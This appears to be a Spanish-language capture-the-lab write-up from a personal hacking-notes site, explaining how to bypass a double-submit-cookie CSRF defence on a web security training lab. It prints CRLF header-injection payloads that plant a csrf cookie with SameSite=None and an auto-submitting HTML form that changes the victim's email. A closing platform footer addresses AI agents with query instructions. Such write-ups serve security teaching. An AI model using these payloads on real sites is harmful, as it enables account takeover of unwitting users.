> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF con token duplicado en una cookie de doble envío

### CSRF donde el token está duplicado en la cookie

#### Descripción

La funcionalidad de cambio de correo electrónico de este laboratorio es vulnerable a un ataque CSRF. El sitio intenta usar la frágil técnica de **"doble envío"**: el mismo token CSRF está presente tanto en un campo de formulario como en una cookie. Esta protección es insuficiente si un atacante puede forjar una consulta entre sitios que envíe un `CSRF` campo que contenga el mismo valor.

#### Objetivo

Alojar una página HTML en tu **servidor** que, cuando el visitante la visualice, enviará automáticamente una solicitud POST para cambiar su dirección de correo electrónico (resuelve el laboratorio).

#### Acceso (credenciales)

Puedes conectarte con: `wiener: peter`

#### Observaciones importantes de las pruebas

* El valor del token CSRF en el formulario y el valor de la cookie son idénticos.

<figure><img src="/files/2bd48657d83d4bd07646be3d269e4fd6398ca0b8" alt=""><figcaption></figcaption></figure>

#### Ejemplo de inyección CRLF (en la `búsqueda` barra de direcciones o parámetro)

<figure><img src="/files/327f1458b04321ea3a3bbe6988f9364b46aa0ed5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2e821963a64e83b2a9be6a742016f7936a45464d" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="/files/fce9f60e039ccfd7460c8f6d5465ec0264616af5" alt=""><figcaption></figcaption></figure>

* Para forzar que la cookie se envíe en un contexto entre sitios, es útil establecer `SameSite=None` en la cookie.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### HTML de explotación para depositar en el servidor de explotación

Aquí hay un ejemplo de una página que coloca el valor del token CSRF en el `CSRF` campo, define el correo electrónico objetivo y luego envía el formulario automáticamente aprovechando la consulta de imagen (que activa el intento de escribir la cookie mediante la búsqueda):

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
